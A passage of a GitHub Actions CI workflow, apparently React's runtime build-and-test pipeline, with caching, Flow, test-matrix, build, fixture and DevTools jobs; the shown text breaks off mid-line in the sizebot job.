    "content": "name: (Runtime) Build and Test\n\non:\n  push:\n    branches: [main]\n    tags:\n      # To get CI for backport releases.\n      # This will duplicate CI for releases from main which is acceptable\n      - \"v*\"\n  pull_request:\n    paths-ignore:\n      - compiler/**\n  workflow_dispatch:\n    inputs:\n      commit_sha:\n        required: false\n        type: string\n        default: ''\n\npermissions: {}\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref_name }}-${{ github.event.pull_request.number || github.run_id }}\n  cancel-in-progress: true\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout\n  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1\n\njobs:\n  # ----- NODE_MODULES CACHE -----\n  # Centralize the node_modules cache so it is saved once and each subsequent job only needs to\n  # restore the cache. Prevents race conditions where multiple workflows try to write to the cache.\n  runtime_node_modules_cache:\n    name: Cache Runtime node_modules\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - name: Check cache hit\n        uses: actions/cache/restore@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}\n          lookup-only: true\n      - uses: actions/setup-node@v4\n        if: steps.node_modules.outputs.cache-hit != 'true'\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Warm with old cache\n        if: steps.node_modules.outputs.cache-hit != 'true'\n        uses: actions/cache/restore@v4\n        with:\n          path: |\n            **/node_modules\n          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}\n          # Don't use restore-keys here. Otherwise the cache grows indefinitely.\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Save cache\n        if: steps.node_modules.outputs.cache-hit != 'true'\n        uses: actions/cache/save@v4\n        with:\n          path: |\n            **/node_modules\n          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}\n\n  runtime_compiler_node_modules_cache:\n    name: Cache Runtime, Compiler node_modules\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - name: Check cache hit\n        uses: actions/cache/restore@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}\n          lookup-only: true\n      - uses: actions/setup-node@v4\n        if: steps.node_modules.outputs.cache-hit != 'true'\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: |\n            yarn.lock\n            compiler/yarn.lock\n      - name: Warm with old cache\n        if: steps.node_modules.outputs.cache-hit != 'true'\n        uses: actions/cache/restore@v4\n        with:\n          path: |\n            **/node_modules\n          key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}\n          # Don't use restore-keys here. Otherwise the cache grows indefinitely.\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: yarn --cwd compiler install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Save cache\n        if: steps.node_modules.outputs.cache-hit != 'true'\n        uses: actions/cache/save@v4\n        with:\n          path: |\n            **/node_modules\n          key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}\n\n  # ----- FLOW -----\n  discover_flow_inline_configs:\n    name: Discover flow inline configs\n    runs-on: ubuntu-latest\n    outputs:\n      matrix: ${{ steps.set-matrix.outputs.result }}\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - uses: actions/github-script@v7\n        id: set-matrix\n        with:\n          script: |\n            const inlinedHostConfigs = require('./scripts/shared/inlinedHostConfigs.js');\n            return inlinedHostConfigs.map(config => config.shortName);\n\n  flow:\n    name: Flow check ${{ matrix.flow_inline_config_shortname }}\n    needs: [discover_flow_inline_configs, runtime_node_modules_cache]\n    runs-on: ubuntu-latest\n    strategy:\n      fail-fast: false\n      matrix:\n        flow_inline_config_shortname: ${{ fromJSON(needs.discover_flow_inline_configs.outputs.matrix) }}\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache/restore@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}\n          # Don't use restore-keys here. Otherwise the cache grows indefinitely.\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: node ./scripts/tasks/flow-ci ${{ matrix.flow_inline_config_shortname }}\n\n  # ----- FIZZ -----\n  check_generated_fizz_runtime:\n    name: Confirm generated inline Fizz runtime is up to date\n    needs: [runtime_node_modules_cache]\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache/restore@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}\n          # Don't use restore-keys here. Otherwise the cache grows indefinitely.\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: |\n          yarn generate-inline-fizz-runtime\n          git diff --exit-code || (echo \"There was a change to the Fizz runtime. Run \\`yarn generate-inline-fizz-runtime\\` and check in the result.\" && false)\n\n  # ----- FEATURE FLAGS -----\n  flags:\n    name: Check flags\n    needs: [runtime_node_modules_cache]\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache/restore@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: yarn flags\n\n  # ----- TESTS -----\n  test:\n    name: yarn test ${{ matrix.params }} (Shard ${{ matrix.shard }})\n    needs: [runtime_compiler_node_modules_cache]\n    runs-on: ubuntu-latest\n    strategy:\n      fail-fast: false\n      matrix:\n        params:\n          - \"-r=stable --env=development\"\n          - \"-r=stable --env=production\"\n          - \"-r=experimental --env=development\"\n          - \"-r=experimental --env=production\"\n          - \"-r=www-classic --env=development --variant=false\"\n          - \"-r=www-classic --env=production --variant=false\"\n          - \"-r=www-classic --env=development --variant=true\"\n          - \"-r=www-classic --env=production --variant=true\"\n          - \"-r=www-modern --env=development --variant=false\"\n          - \"-r=www-modern --env=production --variant=false\"\n          - \"-r=www-modern --env=development --variant=true\"\n          - \"-r=www-modern --env=production --variant=true\"\n          - \"-r=xplat --env=development --variant=false\"\n          - \"-r=xplat --env=development --variant=true\"\n          - \"-r=xplat --env=production --variant=false\"\n          - \"-r=xplat --env=production --variant=true\"\n          # TODO: Test more persistent configurations?\n          - \"-r=stable --env=development --persistent\"\n          - \"-r=experimental --env=development --persistent\"\n        shard:\n          - 1/5\n          - 2/5\n          - 3/5\n          - 4/5\n          - 5/5\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: |\n            yarn.lock\n            compiler/yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache/restore@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}\n          # Don't use restore-keys here. Otherwise the cache grows indefinitely.\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: yarn --cwd compiler install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: node --version\n      - run: yarn test ${{ matrix.params }} --ci --shard=${{ matrix.shard }}\n\n  # Hardcoded to improve parallelism\n  test-linter:\n    name: Test eslint-plugin-react-hooks\n    needs: [runtime_compiler_node_modules_cache]\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path:  |\n            yarn.lock\n            compiler/yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}\n      - name: Install runtime dependencies\n        run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Install compiler dependencies\n        run: yarn install --frozen-lockfile\n        working-directory: compiler\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: ./scripts/react-compiler/build-compiler.sh && ./scripts/react-compiler/link-compiler.sh\n      - run: yarn workspace eslint-plugin-react-hooks test\n\n  # ----- BUILD -----\n  build_and_lint:\n    name: yarn build and lint\n    needs: [runtime_compiler_node_modules_cache]\n    runs-on: ubuntu-latest\n    strategy:\n      fail-fast: false\n      matrix:\n        # yml is dumb. update the --total arg to yarn build if you change the number of workers\n        worker_id: [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24]\n        release_channel: [stable, experimental]\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: |\n            yarn.lock\n            compiler/yarn.lock\n      - uses: actions/setup-java@v4\n        with:\n          distribution: temurin\n          java-version: 11.0.22\n      - name: Restore cached node_modules\n        uses: actions/cache/restore@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}\n          # Don't use restore-keys here. Otherwise the cache grows indefinitely.\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: yarn --cwd compiler install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: yarn build --index=${{ matrix.worker_id }} --total=25 --r=${{ matrix.release_channel }} --ci\n        env:\n          CI: github\n          RELEASE_CHANNEL: ${{ matrix.release_channel }}\n          NODE_INDEX: ${{ matrix.worker_id }}\n      - name: Lint build\n        run: yarn lint-build\n      - name: Display structure of build\n        run: ls -R build\n      - name: Archive build\n        uses: actions/upload-artifact@v4\n        with:\n          name: _build_${{ matrix.worker_id }}_${{ matrix.release_channel }}\n          path: build\n          if-no-files-found: error\n\n  test_build:\n    name: yarn test-build\n    needs: [build_and_lint, runtime_compiler_node_modules_cache]\n    strategy:\n      fail-fast: false\n      matrix:\n        test_params: [\n          # Intentionally passing these as strings instead of creating a\n          # separate parameter per CLI argument, since it's easier to\n          # control/see which combinations we want to run.\n          -r=stable --env=development,\n          -r=stable --env=production,\n          -r=experimental --env=development,\n          -r=experimental --env=production,\n\n          # TODO: Update test config to support www build tests\n          # - \"-r=www-classic --env=development --variant=false\"\n          # - \"-r=www-classic --env=production --variant=false\"\n          # - \"-r=www-classic --env=development --variant=true\"\n          # - \"-r=www-classic --env=production --variant=true\"\n          # - \"-r=www-modern --env=development --variant=false\"\n          # - \"-r=www-modern --env=production --variant=false\"\n          # - \"-r=www-modern --env=development --variant=true\"\n          # - \"-r=www-modern --env=production --variant=true\"\n\n          # TODO: Update test config to support xplat build tests\n          # - \"-r=xplat --env=development --variant=false\"\n          # - \"-r=xplat --env=development --variant=true\"\n          # - \"-r=xplat --env=production --variant=false\"\n          # - \"-r=xplat --env=production --variant=true\"\n\n          # TODO: Test more persistent configurations?\n        ]\n        shard:\n          - 1/10\n          - 2/10\n          - 3/10\n          - 4/10\n          - 5/10\n          - 6/10\n          - 7/10\n          - 8/10\n          - 9/10\n          - 10/10\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: |\n            yarn.lock\n            compiler/yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache/restore@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}\n          # Don't use restore-keys here. Otherwise the cache grows indefinitely.\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: yarn --cwd compiler install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Restore archived build\n        uses: actions/download-artifact@v4\n        with:\n          pattern: _build_*\n          path: build\n          merge-multiple: true\n      - name: Display structure of build\n        run: ls -R build\n      - run: node --version\n      - run: yarn test --build ${{ matrix.test_params }} --shard=${{ matrix.shard }} --ci\n\n  test_build_devtools:\n    name: yarn test-build (devtools)\n    needs: [build_and_lint, runtime_node_modules_cache]\n    strategy:\n      fail-fast: false\n      matrix:\n        shard:\n          - 1/5\n          - 2/5\n          - 3/5\n          - 4/5\n          - 5/5\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache/restore@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}\n          # Don't use restore-keys here. Otherwise the cache grows indefinitely.\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Restore archived build\n        uses: actions/download-artifact@v4\n        with:\n          pattern: _build_*\n          path: build\n          merge-multiple: true\n      - name: Display structure of build\n        run: ls -R build\n      - run: node --version\n      - run: yarn test --build --project=devtools -r=experimental --shard=${{ matrix.shard }} --ci\n\n  process_artifacts_combined:\n    name: Process artifacts combined\n    needs: [build_and_lint, runtime_node_modules_cache]\n    permissions:\n      # https://github.com/actions/attest-build-provenance\n      id-token: write\n      attestations: write\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache/restore@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}\n          # Don't use restore-keys here. Otherwise the cache grows indefinitely.\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Restore archived build\n        uses: actions/download-artifact@v4\n        with:\n          pattern: _build_*\n          path: build\n          merge-multiple: true\n      - name: Display structure of build\n        run: ls -R build\n      - run: echo ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }} >> build/COMMIT_SHA\n      - name: Scrape warning messages\n        run: |\n          mkdir -p ./build/__test_utils__\n          node ./scripts/print-warnings/print-warnings.js > build/__test_utils__/ReactAllWarnings.js\n        # Compress build directory into a single tarball for easy download\n      - run: tar -zcvf ./build.tgz ./build\n        # TODO: Migrate scripts to use `build` directory instead of `build2`\n      - run: cp ./build.tgz ./build2.tgz\n      - name: Archive build artifacts\n        id: upload_artifacts_combined\n        uses: actions/upload-artifact@v4\n        with:\n          name: artifacts_combined\n          path: |\n            ./build.tgz\n            ./build2.tgz\n          if-no-files-found: error\n      - uses: actions/attest-build-provenance@v2\n        # We don't verify builds generated from pull requests not originating from facebook/react.\n        # However, if the PR lands, the run on `main` will generate the attestation which can then\n        # be used to download a build via scripts/release/download-experimental-build.js.\n        #\n        # Note that this means that scripts/release/download-experimental-build.js must be run with\n        # --no-verify when downloading a build from a fork.\n        if: github.event_name == 'push' && github.ref_name == 'main' || github.event.pull_request.head.repo.full_name == github.repository\n        with:\n          subject-name: artifacts_combined.zip\n          subject-digest: sha256:${{ steps.upload_artifacts_combined.outputs.artifact-digest }}\n\n  check_error_codes:\n    name: Search build artifacts for unminified errors\n    needs: [build_and_lint, runtime_node_modules_cache]\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache/restore@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}\n          # Don't use restore-keys here. Otherwise the cache grows indefinitely.\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Restore archived build\n        uses: actions/download-artifact@v4\n        with:\n          pattern: _build_*\n          path: build\n          merge-multiple: true\n      - name: Display structure of build\n        run: ls -R build\n      - name: Search build artifacts for unminified errors\n        run: |\n          yarn extract-errors\n          git diff --exit-code || (echo \"Found unminified errors. Either update the error codes map or disable error minification for the affected build, if appropriate.\" && false)\n\n  check_release_dependencies:\n    name: Check release dependencies\n    needs: [build_and_lint, runtime_node_modules_cache]\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache/restore@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}\n          # Don't use restore-keys here. Otherwise the cache grows indefinitely.\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Restore archived build\n        uses: actions/download-artifact@v4\n        with:\n          pattern: _build_*\n          path: build\n          merge-multiple: true\n      - name: Display structure of build\n        run: ls -R build\n      - run: yarn check-release-dependencies\n\n  RELEASE_CHANNEL_stable_yarn_test_dom_fixtures:\n    name: Check fixtures DOM (stable)\n    needs: build_and_lint\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4 # note: this does not reuse centralized cache since it has unique cache key\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: fixtures_dom-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'fixtures/dom/yarn.lock') }}\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn --cwd fixtures/dom install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Restore archived build\n        uses: actions/download-artifact@v4\n        with:\n          pattern: _build_*\n          path: build\n          merge-multiple: true\n      - name: Display structure of build\n        run: ls -R build\n      - name: Run DOM fixture tests\n        run: |\n          yarn predev\n          yarn test\n        working-directory: fixtures/dom\n        env:\n          RELEASE_CHANNEL: stable\n\n  # ----- FLIGHT -----\n  run_fixtures_flight_tests:\n    name: Run fixtures Flight tests\n    needs: build_and_lint\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      # Fixture copies some built packages from the workroot after install.\n      # That means dependencies of the built packages are not installed.\n      # We need to install dependencies of the workroot to fulfill all dependency constraints\n      - name: Restore cached node_modules\n        uses: actions/cache@v4 # note: this does not reuse centralized cache since it has unique cache key\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: fixtures_flight-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'fixtures/flight/yarn.lock') }}\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: yarn --cwd fixtures/flight install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Check Playwright version\n        id: playwright_version\n        run: echo \"playwright_version=$(npm ls @playwright/test | grep @playwright | sed 's/.*@//' | head -1)\" >> \"$GITHUB_OUTPUT\"\n      - name: Cache Playwright Browsers for version ${{ steps.playwright_version.outputs.playwright_version }}\n        id: cache_playwright_browsers\n        uses: actions/cache@v4\n        with:\n          path: ~/.cache/ms-playwright\n          key: playwright-browsers-v6-${{ runner.arch }}-${{ runner.os }}-${{ steps.playwright_version.outputs.playwright_version }}\n      - name: Playwright install deps\n        if: steps.cache_playwright_browsers.outputs.cache-hit != 'true'\n        working-directory: fixtures/flight\n        run: npx playwright install --with-deps chromium\n      - name: Restore archived build\n        uses: actions/download-artifact@v4\n        with:\n          pattern: _build_*\n          path: build\n          merge-multiple: true\n      - name: Display structure of build\n        run: ls -R build\n      - name: Run tests\n        working-directory: fixtures/flight\n        run: yarn test\n        env:\n          # Otherwise the webserver is a blackbox\n          DEBUG: pw:webserver\n      - name: Archive Flight fixture artifacts\n        uses: actions/upload-artifact@v4\n        with:\n          name: flight-playwright-report\n          path: fixtures/flight/playwright-report\n          if-no-files-found: warn\n      - name: Archive Flight fixture artifacts\n        uses: actions/upload-artifact@v4\n        with:\n          name: flight-test-results\n          path: fixtures/flight/test-results\n          if-no-files-found: ignore\n\n  # ----- DEVTOOLS -----\n  build_devtools_and_process_artifacts:\n    name: Build DevTools and process artifacts\n    needs: [build_and_lint, runtime_node_modules_cache]\n    runs-on: ubuntu-latest\n    strategy:\n      fail-fast: false\n      matrix:\n        browser: [chrome, firefox, edge]\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache/restore@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}\n          # Don't use restore-keys here. Otherwise the cache grows indefinitely.\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Restore archived build\n        uses: actions/download-artifact@v4\n        with:\n          pattern: _build_*\n          path: build\n          merge-multiple: true\n      - run: ./scripts/ci/pack_and_store_devtools_artifacts.sh ${{ matrix.browser }}\n        env:\n          RELEASE_CHANNEL: experimental\n      - name: Display structure of build\n        run: ls -R build\n      # Simplifies getting the extension for local testing\n      - name: Archive ${{ matrix.browser }} extension\n        uses: actions/upload-artifact@v4\n        with:\n          name: react-devtools-${{ matrix.browser }}-extension\n          path: build/devtools/${{ matrix.browser }}-extension.zip\n          if-no-files-found: error\n      - name: Archive ${{ matrix.browser }} metadata\n        uses: actions/upload-artifact@v4\n        with:\n          name: react-devtools-${{ matrix.browser }}-metadata\n          path: build/devtools/webpack-stats.*.json\n\n  merge_devtools_artifacts:\n    name: Merge DevTools artifacts\n    needs: build_devtools_and_process_artifacts\n    runs-on: ubuntu-latest\n    steps:\n      - name: Merge artifacts\n        uses: actions/upload-artifact/merge@v4\n        with:\n          name: react-devtools\n          pattern: react-devtools-*\n\n  run_devtools_e2e_tests:\n    name: Run DevTools e2e tests\n    needs: [build_and_lint, runtime_node_modules_cache]\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache/restore@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}\n          # Don't use restore-keys here. Otherwise the cache grows indefinitely.\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Restore archived build\n        uses: actions/download-artifact@v4\n        with:\n          pattern: _build_*\n          path: build\n          merge-multiple: true\n      - name: Check Playwright version\n        id: playwright_version\n        run: echo \"playwright_version=$(npm ls @playwright/test | grep @playwright | sed 's/.*@//' | head -1)\" >> \"$GITHUB_OUTPUT\"\n      - name: Cache Playwright Browsers for version ${{ steps.playwright_version.outputs.playwright_version }}\n        id: cache_playwright_browsers\n        uses: actions/cache@v4\n        with:\n          path: ~/.cache/ms-playwright\n          key: playwright-browsers-v6-${{ runner.arch }}-${{ runner.os }}-${{ steps.playwright_version.outputs.playwright_version }}\n      - name: Playwright install deps\n        if: steps.cache_playwright_browsers.outputs.cache-hit != 'true'\n        run: npx playwright install --with-deps chromium\n      - run: ./scripts/ci/run_devtools_e2e_tests.js\n        env:\n          RELEASE_CHANNEL: experimental\n      - name: Archive Playwright report\n        uses: actions/upload-artifact@v4\n        with:\n          name: devtools-playwright-artifacts\n          path: tmp/playwright-artifacts\n          if-no-files-found: warn\n\n  # ----- SIZEBOT -----\n  sizebot:\n    if: ${{ github.event_name == 'pull_request' && github.ref_name != 'main' && github.event.pull_request.base.ref == 'main' }}\n    name: Run sizebot\n    needs: [build_and_lint]\n    permissions:\n      # We use github.token to download the build artifact from a previous runtime_build_and_test.yml run\n      actions: read\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4 # note: this does not reuse centralized cache since it has unique cache key\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-release-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ 